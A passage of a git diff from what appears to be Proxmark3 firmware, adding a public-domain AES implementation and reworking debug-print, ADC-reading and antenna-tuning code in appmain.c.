0x5b5b5b5bUL, 0xa2a2a2a2UL, 0x49494949UL, + 0x6d6d6d6dUL, 0x8b8b8b8bUL, 0xd1d1d1d1UL, 0x25252525UL, + 0x72727272UL, 0xf8f8f8f8UL, 0xf6f6f6f6UL, 0x64646464UL, + 0x86868686UL, 0x68686868UL, 0x98989898UL, 0x16161616UL, + 0xd4d4d4d4UL, 0xa4a4a4a4UL, 0x5c5c5c5cUL, 0xccccccccUL, + 0x5d5d5d5dUL, 0x65656565UL, 0xb6b6b6b6UL, 0x92929292UL, + 0x6c6c6c6cUL, 0x70707070UL, 0x48484848UL, 0x50505050UL, + 0xfdfdfdfdUL, 0xededededUL, 0xb9b9b9b9UL, 0xdadadadaUL, + 0x5e5e5e5eUL, 0x15151515UL, 0x46464646UL, 0x57575757UL, + 0xa7a7a7a7UL, 0x8d8d8d8dUL, 0x9d9d9d9dUL, 0x84848484UL, + 0x90909090UL, 0xd8d8d8d8UL, 0xababababUL, 0x00000000UL, + 0x8c8c8c8cUL, 0xbcbcbcbcUL, 0xd3d3d3d3UL, 0x0a0a0a0aUL, + 0xf7f7f7f7UL, 0xe4e4e4e4UL, 0x58585858UL, 0x05050505UL, + 0xb8b8b8b8UL, 0xb3b3b3b3UL, 0x45454545UL, 0x06060606UL, + 0xd0d0d0d0UL, 0x2c2c2c2cUL, 0x1e1e1e1eUL, 0x8f8f8f8fUL, + 0xcacacacaUL, 0x3f3f3f3fUL, 0x0f0f0f0fUL, 0x02020202UL, + 0xc1c1c1c1UL, 0xafafafafUL, 0xbdbdbdbdUL, 0x03030303UL, + 0x01010101UL, 0x13131313UL, 0x8a8a8a8aUL, 0x6b6b6b6bUL, + 0x3a3a3a3aUL, 0x91919191UL, 0x11111111UL, 0x41414141UL, + 0x4f4f4f4fUL, 0x67676767UL, 0xdcdcdcdcUL, 0xeaeaeaeaUL, + 0x97979797UL, 0xf2f2f2f2UL, 0xcfcfcfcfUL, 0xcecececeUL, + 0xf0f0f0f0UL, 0xb4b4b4b4UL, 0xe6e6e6e6UL, 0x73737373UL, + 0x96969696UL, 0xacacacacUL, 0x74747474UL, 0x22222222UL, + 0xe7e7e7e7UL, 0xadadadadUL, 0x35353535UL, 0x85858585UL, + 0xe2e2e2e2UL, 0xf9f9f9f9UL, 0x37373737UL, 0xe8e8e8e8UL, + 0x1c1c1c1cUL, 0x75757575UL, 0xdfdfdfdfUL, 0x6e6e6e6eUL, + 0x47474747UL, 0xf1f1f1f1UL, 0x1a1a1a1aUL, 0x71717171UL, + 0x1d1d1d1dUL, 0x29292929UL, 0xc5c5c5c5UL, 0x89898989UL, + 0x6f6f6f6fUL, 0xb7b7b7b7UL, 0x62626262UL, 0x0e0e0e0eUL, + 0xaaaaaaaaUL, 0x18181818UL, 0xbebebebeUL, 0x1b1b1b1bUL, + 0xfcfcfcfcUL, 0x56565656UL, 0x3e3e3e3eUL, 0x4b4b4b4bUL, + 0xc6c6c6c6UL, 0xd2d2d2d2UL, 0x79797979UL, 0x20202020UL, + 0x9a9a9a9aUL, 0xdbdbdbdbUL, 0xc0c0c0c0UL, 0xfefefefeUL, + 0x78787878UL, 0xcdcdcdcdUL, 0x5a5a5a5aUL, 0xf4f4f4f4UL, + 0x1f1f1f1fUL, 0xddddddddUL, 0xa8a8a8a8UL, 0x33333333UL, + 0x88888888UL, 0x07070707UL, 0xc7c7c7c7UL, 0x31313131UL, + 0xb1b1b1b1UL, 0x12121212UL, 0x10101010UL, 0x59595959UL, + 0x27272727UL, 0x80808080UL, 0xececececUL, 0x5f5f5f5fUL, + 0x60606060UL, 0x51515151UL, 0x7f7f7f7fUL, 0xa9a9a9a9UL, + 0x19191919UL, 0xb5b5b5b5UL, 0x4a4a4a4aUL, 0x0d0d0d0dUL, + 0x2d2d2d2dUL, 0xe5e5e5e5UL, 0x7a7a7a7aUL, 0x9f9f9f9fUL, + 0x93939393UL, 0xc9c9c9c9UL, 0x9c9c9c9cUL, 0xefefefefUL, + 0xa0a0a0a0UL, 0xe0e0e0e0UL, 0x3b3b3b3bUL, 0x4d4d4d4dUL, + 0xaeaeaeaeUL, 0x2a2a2a2aUL, 0xf5f5f5f5UL, 0xb0b0b0b0UL, + 0xc8c8c8c8UL, 0xebebebebUL, 0xbbbbbbbbUL, 0x3c3c3c3cUL, + 0x83838383UL, 0x53535353UL, 0x99999999UL, 0x61616161UL, + 0x17171717UL, 0x2b2b2b2bUL, 0x04040404UL, 0x7e7e7e7eUL, + 0xbabababaUL, 0x77777777UL, 0xd6d6d6d6UL, 0x26262626UL, + 0xe1e1e1e1UL, 0x69696969UL, 0x14141414UL, 0x63636363UL, + 0x55555555UL, 0x21212121UL, 0x0c0c0c0cUL, 0x7d7d7d7dUL, +}; +static const unsigned int rcon[] = { + 0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, + 0x10000000UL, 0x20000000UL, 0x40000000UL, 0x80000000UL, + 0x1B000000UL, 0x36000000UL, +}; + +#define GETU32(pt) (((unsigned int)(pt)[0] << 24) ^ \ + ((unsigned int)(pt)[1] << 16) ^ \ + ((unsigned int)(pt)[2] << 8) ^ \ + ((unsigned int)(pt)[3])) + +#define PUTU32(ct, st) { (ct)[0] = (unsigned char)((st) >> 24); \ + (ct)[1] = (unsigned char)((st) >> 16); \ + (ct)[2] = (unsigned char)((st) >> 8); \ + (ct)[3] = (unsigned char)(st); } + +/* +* Expand the cipher key into the encryption key schedule and return the +* number of rounds for the given cipher key size. +*/ +int aes_setkey_enc(unsigned int rk[], const unsigned char cipherKey[], int keyBytes) +{ + int i = 0; + unsigned int temp; + + rk[0] = GETU32(cipherKey ); + rk[1] = GETU32(cipherKey + 4); + rk[2] = GETU32(cipherKey + 8); + rk[3] = GETU32(cipherKey + 12); + if (keyBytes == 16) { // 128 bits + for (;;) { + temp = rk[3]; + rk[4] = rk[0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[5] = rk[1] ^ rk[4]; + rk[6] = rk[2] ^ rk[5]; + rk[7] = rk[3] ^ rk[6]; + if (++i == 10) { + return 10; + } + rk += 4; + } + } + rk[4] = GETU32(cipherKey + 16); + rk[5] = GETU32(cipherKey + 20); + if (keyBytes == 24) { // 192 bits + for (;;) { + temp = rk[ 5]; + rk[ 6] = rk[ 0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[ 7] = rk[ 1] ^ rk[ 6]; + rk[ 8] = rk[ 2] ^ rk[ 7]; + rk[ 9] = rk[ 3] ^ rk[ 8]; + if (++i == 8) { + return 12; + } + rk[10] = rk[ 4] ^ rk[ 9]; + rk[11] = rk[ 5] ^ rk[10]; + rk += 6; + } + } + rk[6] = GETU32(cipherKey + 24); + rk[7] = GETU32(cipherKey + 28); + if (keyBytes == 32) { // 256 bits + for (;;) { + temp = rk[ 7]; + rk[ 8] = rk[ 0] ^ + (Te4[(temp >> 16) & 0xff] & 0xff000000) ^ + (Te4[(temp >> 8) & 0xff] & 0x00ff0000) ^ + (Te4[(temp ) & 0xff] & 0x0000ff00) ^ + (Te4[(temp >> 24) ] & 0x000000ff) ^ + rcon[i]; + rk[ 9] = rk[ 1] ^ rk[ 8]; + rk[10] = rk[ 2] ^ rk[ 9]; + rk[11] = rk[ 3] ^ rk[10]; + if (++i == 7) { + return 14; + } + temp = rk[11]; + rk[12] = rk[ 4] ^ + (Te4[(temp >> 24) ] & 0xff000000) ^ + (Te4[(temp >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(temp >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(temp ) & 0xff] & 0x000000ff); + rk[13] = rk[ 5] ^ rk[12]; + rk[14] = rk[ 6] ^ rk[13]; + rk[15] = rk[ 7] ^ rk[14]; + + rk += 8; + } + } + return 0; +} + +/* +* Expand the cipher key into encryption and decryption key schedule and +* return the number of rounds for the given cipher key size. +*/ +int AesGenKeySched(unsigned int rk[], unsigned int rrk[], const unsigned char cipherKey[], int keyBytes) +{ + int Nr, i; + + // expand the cipher key + Nr = aes_setkey_enc(rk, cipherKey, keyBytes); + // invert the order of the first round keys + rrk += Nr * 4; + rrk[0] = rk[0]; + rrk[1] = rk[1]; + rrk[2] = rk[2]; + rrk[3] = rk[3]; + + /* + * apply the inverse MixColumn transform to all round keys but the first + * and the last + */ + for (i = 1; i < Nr; i++) { + rrk -= 4; + rk += 4; + rrk[0] = + Td0[Te4[(rk[0] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[0] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[0] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[0] ) & 0xff] & 0xff]; + rrk[1] = + Td0[Te4[(rk[1] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[1] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[1] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[1] ) & 0xff] & 0xff]; + rrk[2] = + Td0[Te4[(rk[2] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[2] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[2] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[2] ) & 0xff] & 0xff]; + rrk[3] = + Td0[Te4[(rk[3] >> 24) ] & 0xff] ^ + Td1[Te4[(rk[3] >> 16) & 0xff] & 0xff] ^ + Td2[Te4[(rk[3] >> 8) & 0xff] & 0xff] ^ + Td3[Te4[(rk[3] ) & 0xff] & 0xff]; + } + // invert the order of the last round keys + rrk -= 4; + rk += 4; + rrk[0] = rk[0]; + rrk[1] = rk[1]; + rrk[2] = rk[2]; + rrk[3] = rk[3]; + + return Nr; +} + +/* +* Encrypt the plain text into cipher +*/ +void AesEncBlk(AesCtx *pCtx, const unsigned char pt[], unsigned char ct[]) +{ + unsigned int s0, s1, s2, s3, t0, t1, t2, t3, *iv; + const unsigned int *rk; + int r; + + rk = pCtx->Ek; + iv = pCtx->Iv; + /* + * map byte array block to cipher state + * and add initial round key: + */ + s0 = GETU32(pt ) ^ rk[0]; + s1 = GETU32(pt + 4) ^ rk[1]; + s2 = GETU32(pt + 8) ^ rk[2]; + s3 = GETU32(pt + 12) ^ rk[3]; + if (pCtx->Mode) { + s0 = s0 ^ iv[0]; + s1 = s1 ^ iv[1]; + s2 = s2 ^ iv[2]; + s3 = s3 ^ iv[3]; + } + /* + * Nr - 1 full rounds: + */ + r = pCtx->Nr >> 1; + for (;;) { + t0 = + Te0[(s0 >> 24) ] ^ + Te1[(s1 >> 16) & 0xff] ^ + Te2[(s2 >> 8) & 0xff] ^ + Te3[(s3 ) & 0xff] ^ + rk[4]; + t1 = + Te0[(s1 >> 24) ] ^ + Te1[(s2 >> 16) & 0xff] ^ + Te2[(s3 >> 8) & 0xff] ^ + Te3[(s0 ) & 0xff] ^ + rk[5]; + t2 = + Te0[(s2 >> 24) ] ^ + Te1[(s3 >> 16) & 0xff] ^ + Te2[(s0 >> 8) & 0xff] ^ + Te3[(s1 ) & 0xff] ^ + rk[6]; + t3 = + Te0[(s3 >> 24) ] ^ + Te1[(s0 >> 16) & 0xff] ^ + Te2[(s1 >> 8) & 0xff] ^ + Te3[(s2 ) & 0xff] ^ + rk[7]; + + rk += 8; + if (--r == 0) { + break; + } + + s0 = + Te0[(t0 >> 24) ] ^ + Te1[(t1 >> 16) & 0xff] ^ + Te2[(t2 >> 8) & 0xff] ^ + Te3[(t3 ) & 0xff] ^ + rk[0]; + s1 = + Te0[(t1 >> 24) ] ^ + Te1[(t2 >> 16) & 0xff] ^ + Te2[(t3 >> 8) & 0xff] ^ + Te3[(t0 ) & 0xff] ^ + rk[1]; + s2 = + Te0[(t2 >> 24) ] ^ + Te1[(t3 >> 16) & 0xff] ^ + Te2[(t0 >> 8) & 0xff] ^ + Te3[(t1 ) & 0xff] ^ + rk[2]; + s3 = + Te0[(t3 >> 24) ] ^ + Te1[(t0 >> 16) & 0xff] ^ + Te2[(t1 >> 8) & 0xff] ^ + Te3[(t2 ) & 0xff] ^ + rk[3]; + } + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = + (Te4[(t0 >> 24) ] & 0xff000000) ^ + (Te4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t3 ) & 0xff] & 0x000000ff) ^ + rk[0]; + PUTU32(ct , s0); + s1 = + (Te4[(t1 >> 24) ] & 0xff000000) ^ + (Te4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t0 ) & 0xff] & 0x000000ff) ^ + rk[1]; + PUTU32(ct + 4, s1); + s2 = + (Te4[(t2 >> 24) ] & 0xff000000) ^ + (Te4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t1 ) & 0xff] & 0x000000ff) ^ + rk[2]; + PUTU32(ct + 8, s2); + s3 = + (Te4[(t3 >> 24) ] & 0xff000000) ^ + (Te4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ + (Te4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ + (Te4[(t2 ) & 0xff] & 0x000000ff) ^ + rk[3]; + PUTU32(ct + 12, s3); + + if (pCtx->Mode) { + iv[0] = s0; + iv[1] = s1; + iv[2] = s2; + iv[3] = s3; + } +} + +/* +* Decrypt the cipher into plain text +*/ +void AesDecBlk(AesCtx *pCtx, const unsigned char ct[], unsigned char pt[]) +{ + unsigned int s0, s1, s2, s3, t0, t1, t2, t3, v0, v1, v2, v3, *iv; + const unsigned int *rk; + int r; + + rk = pCtx->Dk; + iv = pCtx->Iv; + /* + * map byte array block to cipher state + * and add initial round key: + */ + v0 = GETU32(ct ); s0 = v0 ^ rk[0]; + v1 = GETU32(ct + 4); s1 = v1 ^ rk[1]; + v2 = GETU32(ct + 8); s2 = v2 ^ rk[2]; + v3 = GETU32(ct + 12); s3 = v3 ^ rk[3]; + /* + * Nr - 1 full rounds: + */ + r = pCtx->Nr >> 1; + for (;;) { + t0 = + Td0[(s0 >> 24) ] ^ + Td1[(s3 >> 16) & 0xff] ^ + Td2[(s2 >> 8) & 0xff] ^ + Td3[(s1 ) & 0xff] ^ + rk[4]; + t1 = + Td0[(s1 >> 24) ] ^ + Td1[(s0 >> 16) & 0xff] ^ + Td2[(s3 >> 8) & 0xff] ^ + Td3[(s2 ) & 0xff] ^ + rk[5]; + t2 = + Td0[(s2 >> 24) ] ^ + Td1[(s1 >> 16) & 0xff] ^ + Td2[(s0 >> 8) & 0xff] ^ + Td3[(s3 ) & 0xff] ^ + rk[6]; + t3 = + Td0[(s3 >> 24) ] ^ + Td1[(s2 >> 16) & 0xff] ^ + Td2[(s1 >> 8) & 0xff] ^ + Td3[(s0 ) & 0xff] ^ + rk[7]; + + rk += 8; + if (--r == 0) { + break; + } + + s0 = + Td0[(t0 >> 24) ] ^ + Td1[(t3 >> 16) & 0xff] ^ + Td2[(t2 >> 8) & 0xff] ^ + Td3[(t1 ) & 0xff] ^ + rk[0]; + s1 = + Td0[(t1 >> 24) ] ^ + Td1[(t0 >> 16) & 0xff] ^ + Td2[(t3 >> 8) & 0xff] ^ + Td3[(t2 ) & 0xff] ^ + rk[1]; + s2 = + Td0[(t2 >> 24) ] ^ + Td1[(t1 >> 16) & 0xff] ^ + Td2[(t0 >> 8) & 0xff] ^ + Td3[(t3 ) & 0xff] ^ + rk[2]; + s3 = + Td0[(t3 >> 24) ] ^ + Td1[(t2 >> 16) & 0xff] ^ + Td2[(t1 >> 8) & 0xff] ^ + Td3[(t0 ) & 0xff] ^ + rk[3]; + } + /* + * apply last round and + * map cipher state to byte array block: + */ + s0 = + (Td4[(t0 >> 24) ] & 0xff000000) ^ + (Td4[(t3 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t2 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t1 ) & 0xff] & 0x000000ff) ^ + rk[0]; + s1 = + (Td4[(t1 >> 24) ] & 0xff000000) ^ + (Td4[(t0 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t3 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t2 ) & 0xff] & 0x000000ff) ^ + rk[1]; + s2 = + (Td4[(t2 >> 24) ] & 0xff000000) ^ + (Td4[(t1 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t0 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t3 ) & 0xff] & 0x000000ff) ^ + rk[2]; + s3 = + (Td4[(t3 >> 24) ] & 0xff000000) ^ + (Td4[(t2 >> 16) & 0xff] & 0x00ff0000) ^ + (Td4[(t1 >> 8) & 0xff] & 0x0000ff00) ^ + (Td4[(t0 ) & 0xff] & 0x000000ff) ^ + rk[3]; + + if (pCtx->Mode) { + s0 = s0 ^ iv[0]; iv[0] = v0; + s1 = s1 ^ iv[1]; iv[1] = v1; + s2 = s2 ^ iv[2]; iv[2] = v2; + s3 = s3 ^ iv[3]; iv[3] = v3; + } + + PUTU32(pt , s0); + PUTU32(pt + 4, s1); + PUTU32(pt + 8, s2); + PUTU32(pt + 12, s3); +} + +////////////////////////////////////////////////////////////////////////////// +// API functions // +////////////////////////////////////////////////////////////////////////////// + +/* +* initialize AES context +*/ +int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode) +{ + if (pKey == 0 || pCtx == 0 || (KeyLen != KEY128 && KeyLen != KEY192 && KeyLen != KEY256)) + return -1; + + // generate key schedule + pCtx->Nr = AesGenKeySched(pCtx->Ek, pCtx->Dk, pKey, KeyLen); + + // initialize IV + if (pIV != 0) { + pCtx->Iv[0] = GETU32(pIV ); + pCtx->Iv[1] = GETU32(pIV + 4 ); + pCtx->Iv[2] = GETU32(pIV + 8 ); + pCtx->Iv[3] = GETU32(pIV + 12); + } + + // mode + pCtx->Mode = Mode; + + return 0; +} + +/* +* Encrypt plain text +*/ +int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen) +{ + int i; + + if (pData == 0 || pCipher == 0 || pCtx == 0 || (DataLen & 0xf) != 0) + return -1; + + for (i = 0; i < DataLen; i += BLOCKSZ) { + // encrypt block by block + AesEncBlk(pCtx, pData, pCipher); + pCipher += BLOCKSZ; + pData += BLOCKSZ; + } + return DataLen; +} + +/* +* Decrypt cipher +*/ +int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen) +{ + int i; + + if (pData == 0 || pCipher == 0 || pCtx == 0 || (CipherLen & 0xf) != 0) + return -1; + + for (i = 0; i < CipherLen; i += BLOCKSZ) { + // decrypt block by block + AesDecBlk(pCtx, pCipher, pData); + pCipher += BLOCKSZ; + pData += BLOCKSZ; + } + return CipherLen; +} + +////////////////////////////////////////////////////////////////////////////// +// Sample main program // +////////////////////////////////////////////////////////////////////////////// + +#ifndef EMBEDDED + +#include + +int main() +{ + AesCtx ctx; + unsigned char iv[] = "INI VECTINI VECT"; + unsigned char key[] = "This is a sample AESKey"; + unsigned char databuf[] = "Data : AES Test"; // must be in multiple of 16 + + // initialize context and encrypt data at one end + + if( AesCtxIni(&ctx, iv, key, KEY128, CBC) < 0) + printf("init error\n"); + + if (AesEncrypt(&ctx, databuf, databuf, sizeof(databuf) ) < 0) + printf("error in encryption\n"); + + // initialize context and decrypt cipher at other end + + if( AesCtxIni(&ctx, iv, key, KEY128, CBC) < 0) + printf("init error\n"); + + if (AesDecrypt(&ctx, databuf, databuf, sizeof(databuf) ) < 0) + printf("error in decryption\n"); + + printf("%s\n", databuf); + + return 0; +} +#endif \ No newline at end of file diff --git a/armsrc/aes.h b/armsrc/aes.h new file mode 100644 index 000000000..6934d690c --- /dev/null +++ b/armsrc/aes.h @@ -0,0 +1,34 @@ +/* +* AES Cryptographic Algorithm Header File. Include this header file in +* your source which uses these given APIs. (This source is kept under +* public domain) +*/ +#ifndef __AES_H +#define __AES_H + +// AES context structure +typedef struct { + unsigned int Ek[60]; + unsigned int Dk[60]; + unsigned int Iv[4]; + unsigned char Nr; + unsigned char Mode; +} AesCtx; + +// key length in bytes +#define KEY128 16 +#define KEY192 24 +#define KEY256 32 +// block size in bytes +#define BLOCKSZ 16 +// mode +#define EBC 0 +#define CBC 1 + +// AES API function prototype + +int AesCtxIni(AesCtx *pCtx, unsigned char *pIV, unsigned char *pKey, unsigned int KeyLen, unsigned char Mode); +int AesEncrypt(AesCtx *pCtx, unsigned char *pData, unsigned char *pCipher, unsigned int DataLen); +int AesDecrypt(AesCtx *pCtx, unsigned char *pCipher, unsigned char *pData, unsigned int CipherLen); + +#endif \ No newline at end of file diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 2061f6b3e..2a766608b 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -9,26 +9,29 @@ // The main application code. This is the first thing called after start.c // executes. //----------------------------------------------------------------------------- - +#include +#include #include "usb_cdc.h" -#include "cmd.h" - #include "proxmark3.h" #include "apps.h" +#include "fpga.h" #include "util.h" #include "printf.h" #include "string.h" - -#include - #include "legicrf.h" -#include +#include "lfsampling.h" +#include "BigBuf.h" +#include "mifareutil.h" + +#define DEBUG 1 #ifdef WITH_LCD #include "LCD.h" #endif -#define abs(x) ( ((x)<0) ? -(x) : (x) ) +#ifdef WITH_SMARTCARD +#include "i2c.h" +#endif //============================================================================= // A buffer where we can queue things up to be sent through the FPGA, for @@ -36,91 +39,101 @@ // is the order in which they go out on the wire. //============================================================================= -uint8_t ToSend[512]; -int ToSendMax; +#define TOSEND_BUFFER_SIZE (9*MAX_FRAME_SIZE + 1 + 1 + 2) // 8 data bits and 1 parity bit per payload byte, 1 correction bit, 1 SOC bit, 2 EOC bits +uint8_t ToSend[TOSEND_BUFFER_SIZE]; +int ToSendMax = -1; static int ToSendBit; struct common_area common_area __attribute__((section(".commonarea"))); -void BufferClear(void) -{ - memset(BigBuf,0,sizeof(BigBuf)); - Dbprintf("Buffer cleared (%i bytes)",sizeof(BigBuf)); -} - -void ToSendReset(void) -{ +void ToSendReset(void) { ToSendMax = -1; ToSendBit = 8; } -void ToSendStuffBit(int b) -{ +void ToSendStuffBit(int b) { if(ToSendBit >= 8) { ToSendMax++; ToSend[ToSendMax] = 0; ToSendBit = 0; } - if(b) { + if(b) ToSend[ToSendMax] |= (1 << (7 - ToSendBit)); - } ToSendBit++; - if(ToSendBit >= sizeof(ToSend)) { + if(ToSendMax >= sizeof(ToSend)) { ToSendBit = 0; DbpString("ToSendStuffBit overflowed!"); } } +void PrintToSendBuffer(void) { + DbpString("Printing ToSendBuffer:"); + Dbhexdump(ToSendMax, ToSend, 0); +} + +void print_result(char *name, uint8_t *buf, size_t len) { + uint8_t *p = buf; + + if ( len % 16 == 0 ) { + for(; p-buf < len; p += 16) + Dbprintf("[%s:%d/%d] %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x", + name, + p-buf, + len, + p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7],p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15] + ); + } + else { + for(; p-buf < len; p += 8) + Dbprintf("[%s:%d/%d] %02x %02x %02x %02x %02x %02x %02x %02x", + name, + p-buf, + len, + p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7]); + } +} + //============================================================================= // Debug print functions, to go out over USB, to the usual PC-side client. //============================================================================= -void DbpString(char *str) -{ - byte_t len = strlen(str); - cmd_send(CMD_DEBUG_PRINT_STRING,len,0,0,(byte_t*)str,len); -// /* this holds up stuff unless we're connected to usb */ -// if (!UsbConnected()) -// return; -// -// UsbCommand c; -// c.cmd = CMD_DEBUG_PRINT_STRING; -// c.arg[0] = strlen(str); -// if(c.arg[0] > sizeof(c.d.asBytes)) { -// c.arg[0] = sizeof(c.d.asBytes); -// } -// memcpy(c.d.asBytes, str, c.arg[0]); -// -// UsbSendPacket((uint8_t *)&c, sizeof(c)); -// // TODO fix USB so stupid things like this aren't req'd -// SpinDelay(50); +void DbpStringEx(char *str, uint32_t cmd) { +#if DEBUG + byte_t len = strlen(str); + cmd_send(CMD_DEBUG_PRINT_STRING, len, cmd, 0, (byte_t*)str, len); +#endif +} + +void DbpString(char *str) { +#if DEBUG + DbpStringEx(str, 0); +#endif } #if 0 -void DbpIntegers(int x1, int x2, int x3) -{ - cmd_send(CMD_DEBUG_PRINT_INTEGERS,x1,x2,x3,0,0); -// /* this holds up stuff unless we're connected to usb */ -// if (!UsbConnected()) -// return; -// -// UsbCommand c; -// c.cmd = CMD_DEBUG_PRINT_INTEGERS; -// c.arg[0] = x1; -// c.arg[1] = x2; -// c.arg[2] = x3; -// -// UsbSendPacket((uint8_t *)&c, sizeof(c)); -// // XXX -// SpinDelay(50); +void DbpIntegers(int x1, int x2, int x3) { + cmd_send(CMD_DEBUG_PRINT_INTEGERS,x1,x2,x3,0,0); } #endif +void DbprintfEx(uint32_t cmd, const char *fmt, ...) { +#if DEBUG + // should probably limit size here; oh well, let's just use a big buffer + char output_string[128] = {0x00}; + va_list ap; + va_start(ap, fmt); + kvsprintf(fmt, output_string, 10, ap); + va_end(ap); + + DbpStringEx(output_string, cmd); +#endif +} void Dbprintf(const char *fmt, ...) { -// should probably limit size here; oh well, let's just use a big buffer - char output_string[128]; +#if DEBUG + // should probably limit size here; oh well, let's just use a big buffer + char output_string[128] = {0x00}; va_list ap; va_start(ap, fmt); @@ -128,33 +141,38 @@ void Dbprintf(const char *fmt, ...) { va_end(ap); DbpString(output_string); +#endif } // prints HEX & ASCII void Dbhexdump(int len, uint8_t *d, bool bAsci) { - int l=0,i; +#if DEBUG + int l=0, i; char ascii[9]; - while (len>0) { - if (len>8) l=8; - else l=len; + while (len > 0) { + + l = (len > 8) ? 8 : len; - memcpy(ascii,d,l); - ascii[l]=0; + memcpy(ascii, d, l); + ascii[l] = 0; // filter safe ascii - for (i=0;i126) ascii[i]='.'; + for (i=0; i 126) { + ascii[i] = '.'; + } + } + + if (bAsci) + Dbprintf("%-8s %*D", ascii, l, d, " "); + else + Dbprintf("%*D", l, d, " "); - if (bAsci) { - Dbprintf("%-8s %*D",ascii,l,d," "); - } else { - Dbprintf("%*D",l,d," "); - } - - len-=8; - d+=8; + len -= 8; + d += 8; } +#endif } //----------------------------------------------------------------------------- @@ -162,48 +180,49 @@ void Dbhexdump(int len, uint8_t *d, bool bAsci) { // in ADC units (0 to 1023). Also a routine to average 32 samples and // return that. //----------------------------------------------------------------------------- -static int ReadAdc(int ch) -{ - uint32_t d; +static uint16_t ReadAdc(int ch) { + + // Note: ADC_MODE_PRESCALE and ADC_MODE_SAMPLE_HOLD_TIME are set to the maximum allowed value. + // AMPL_HI is are high impedance (10MOhm || 1MOhm) output, the input capacitance of the ADC is 12pF (typical). This results in a time constant + // of RC = (0.91MOhm) * 12pF = 10.9us. Even after the maximum configurable sample&hold time of 40us the input capacitor will not be fully charged. + // + // The maths are: + // If there is a voltage v_in at the input, the voltage v_cap at the capacitor (this is what we are measuring) will be + // + // v_cap = v_in * (1 - exp(-SHTIM/RC)) = v_in * (1 - exp(-40us/10.9us)) = v_in * 0,97 (i.e. an error of 3%) AT91C_BASE_ADC->ADC_CR = AT91C_ADC_SWRST; - AT91C_BASE_ADC->ADC_MR = - ADC_MODE_PRESCALE(32) | - ADC_MODE_STARTUP_TIME(16) | - ADC_MODE_SAMPLE_HOLD_TIME(8); + AT91C_BASE_ADC->ADC_MR = + ADC_MODE_PRESCALE(63) // ADC_CLK = MCK / ((63+1) * 2) = 48MHz / 128 = 375kHz + | ADC_MODE_STARTUP_TIME(1) // Startup Time = (1+1) * 8 / ADC_CLK = 16 / 375kHz = 42,7us Note: must be > 20us + | ADC_MODE_SAMPLE_HOLD_TIME(15); // Sample & Hold Time SHTIM = 15 / ADC_CLK = 15 / 375kHz = 40us + AT91C_BASE_ADC->ADC_CHER = ADC_CHANNEL(ch); - AT91C_BASE_ADC->ADC_CR = AT91C_ADC_START; - while(!(AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ch))) - ; - d = AT91C_BASE_ADC->ADC_CDR[ch]; - return d; + while (!(AT91C_BASE_ADC->ADC_SR & ADC_END_OF_CONVERSION(ch))) {}; + + return (AT91C_BASE_ADC->ADC_CDR[ch] & 0x3FF); } -int AvgAdc(int ch) // was static - merlok -{ - int i; - int a = 0; - - for(i = 0; i < 32; i++) { +// was static - merlok +uint16_t AvgAdc(int ch) { + uint16_t a = 0; + for(uint8_t i = 0; i < 32; i++) a += ReadAdc(ch); - } + //division by 32 return (a + 15) >> 5; } -void MeasureAntennaTuning(void) -{ - uint8_t *dest = (uint8_t *)BigBuf+FREE_BUFFER_OFFSET; - int i, adcval = 0, peak = 0, peakv = 0, peakf = 0; //ptr = 0 - int vLf125 = 0, vLf134 = 0, vHf = 0; // in mV +void MeasureAntennaTuning(void) { -// UsbCommand c; + uint8_t LF_Results[256]; + uint32_t i, adcval = 0, peak = 0, peakv = 0, peakf = 0; + uint32_t v_lf125 = 0, v_lf134 = 0, v_hf = 0; // in mV - LED_B_ON(); - DbpString("Measuring antenna characteristics, please wait..."); - memset(dest,0,sizeof(FREE_BUFFER_SIZE)); + memset(LF_Results, 0, 